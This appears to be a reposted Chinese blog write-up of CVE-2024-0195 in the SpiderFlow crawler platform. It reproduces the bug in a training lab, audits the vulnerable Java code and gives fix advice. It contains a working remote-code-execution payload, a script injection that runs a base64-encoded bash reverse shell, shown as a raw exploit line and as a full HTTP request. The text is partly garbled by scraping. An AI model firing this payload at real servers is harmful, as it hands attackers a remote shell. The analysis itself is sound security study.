长沙商城网站制作,国外网站建设企业,制作流程图软件,网页开发背景与意义CVE-2024-0195
简介#xff1a; SpiderFlow是新一代开源爬虫平台#xff0c;以图形化方式定义爬虫流程#xff0c;不写代码即可完成爬虫。基于springbootlayui开发的前后端不分离,也可以进行二次开发。该系统/function/save接口存在RCE漏洞#xff0c;攻击者可以构造恶意命…CVE-2024-0195
简介 SpiderFlow是新一代开源爬虫平台以图形化方式定义爬虫流程不写代码即可完成爬虫。基于springbootlayui开发的前后端不分离,也可以进行二次开发。该系统/function/save接口存在RCE漏洞攻击者可以构造恶意命令远控服务器 影响版本 Up to (including)0.5.0 EXP(反弹shell):
id1namecmdparameterrcescript%7DJava.type(java.lang.Runtime).getRuntime().exec(bash -c {echo,YmFzaCAtaSAJi9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDAJjE}|{base64,-d}|{bash,-i})%3B%7B
注意 这里的技巧为java Runtime.getRuntime().exec 获取反弹shell
具体可访问java Runtime.getRuntime().exec 获取反弹shell_p r.exec([/bin/bash,-c,-CSDN博客
漏洞复现 参考spider-flow RCE漏洞分析(CVE-2024-0195) - 先知社区 (aliyun.com)
源码下载:
https://gitee.com/ssssssss-team/spider-flow.git
复现春秋靶场:
进入环境进行抓包 修包改为
POST /function/save HTTP/1.1Host: eci-2zebg74uonflnvp0bavv.cloudeci1.ichunqiu.com:8088User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: */*Accept-Language: en-US,en;q0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencoded; charsetUTF-8X-Requested-With: XMLHttpRequestContent-Length: 189Origin: http://eci-2zebg74uonflnvp0bavv.cloudeci1.ichunqiu.com:8088Connection: closeReferer: http://eci-2zebg74uonflnvp0bavv.cloudeci1.ichunqiu.com:8088/function-edit.htmlid1namecmdparameterrcescript%7DJava.type(java.lang.Runtime).getRuntime().exec(bash -c {echo,YmFzaCAtaSAJi9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDAJjE}|{base64,-d}|{bash,-i})%3B%7B
即可反弹shell
代码审计 在spider-flow-web/src/main/java/org/spiderflow/controller/FunctionController.java发现/function/save路径下调用了functionService.saveFunction()方法 这也就是上边抓包的路径
RestController
RequestMapping(/function)
public class FunctionController {Autowiredprivate FunctionService functionService;RequestMapping(/list)public IPageFunction list(RequestParam(name page,defaultValue 1)Integer page, RequestParam(name limit,defaultValue 1)Integer size,String name) {QueryWrapperFunction select new QueryWrapperFunction().select(id, name, parameter, create_date);if(StringUtils.isNotBlank(name)){select.like(name,name);}select.orderByDesc(create_date);return functionService.page(new PageFunction(page, size), select);}RequestMapping(/save)public String save(Function function){return functionService.saveFunction(function);}RequestMapping(/get)public Function get(String id){return functionService.getById(id);}RequestMapping(/remove)public void remove(String id){functionService.removeById(id);}
}
我们跟进 saveFunction()方法
public String saveFunction(Function entity) {try {// 对传入的数据进行过滤ScriptManager.validScript(entity.getName(),entity.getParameter(),entity.getScript());// 保存super.saveOrUpdate(entity);init();return null;} catch (Exception e) {logger.error(保存自定义函数出错,e);return ExceptionUtils.getStackTrace(e);}
}
里面有个validScript方法就是通过ScriptManager.validScript()方法对传入的函数数据进行过滤该方法可能会抛出异常 我们跟进validScript方法
public static void validScript(String functionName,String parameters,String script) throws Exception {new ScriptEngineManager().getEngineByName(nashorn).eval(concatScript(functionName,parameters,script));
}
里面居然直接有eval危险函数首先代码创建了一个新的ScriptEngineManager对象然后从中获取一个名为nashorn的脚本引擎。接下来通过调用eval()方法将传入的函数名称、参数和脚本合并成一个完整的脚本字符串并将其传递给脚本引擎进行执行。
我们跟进concatScript方法
private static String concatScript(String functionName,String parameters,String script){StringBuffer scriptBuffer new StringBuffer();scriptBuffer.append(function ).append(functionName).append(().append(parameters null ? : parameters).append(){).append(script).append(});return scriptBuffer.toString();
}
这段代码的作用是接受三个参数 functionName、parameters和 script合并成一个完整的脚本字符串并返回该字符串。 没有进行任何过滤所以我们就可以构造RCE了
假设三个参数分别为wendanh最后返回的是 function wen(da){nh} 我们就可以在 script这里构造的恶意的java Runtime.getRuntime().exec 获取反弹shell
}Java.type(java.lang.Runtime).getRuntime().exec(bash -c {echo,YmFzaCAtaSAJi9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDAJjE}|{base64,-d}|{bash,-i});{ 拼接之后就成为了下面代码 形成闭合执行 形成反弹shell
function wen(da){}Java.type(java.lang.Runtime).getRuntime().exec(bash -c {echo,YmFzaCAtaSAJi9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDAJjE}|{base64,-d}|{bash,-i});{}
修复建议
1.在拼接的时候对script进行过滤处理
2.打补丁 spider-flow: 新一代爬虫平台以图形化方式定义爬虫流程不写代码即可完成爬虫。
参考
SpiderFlow爬虫平台漏洞利用分析CVE-2024-0195 - FreeBuf网络安全行业门户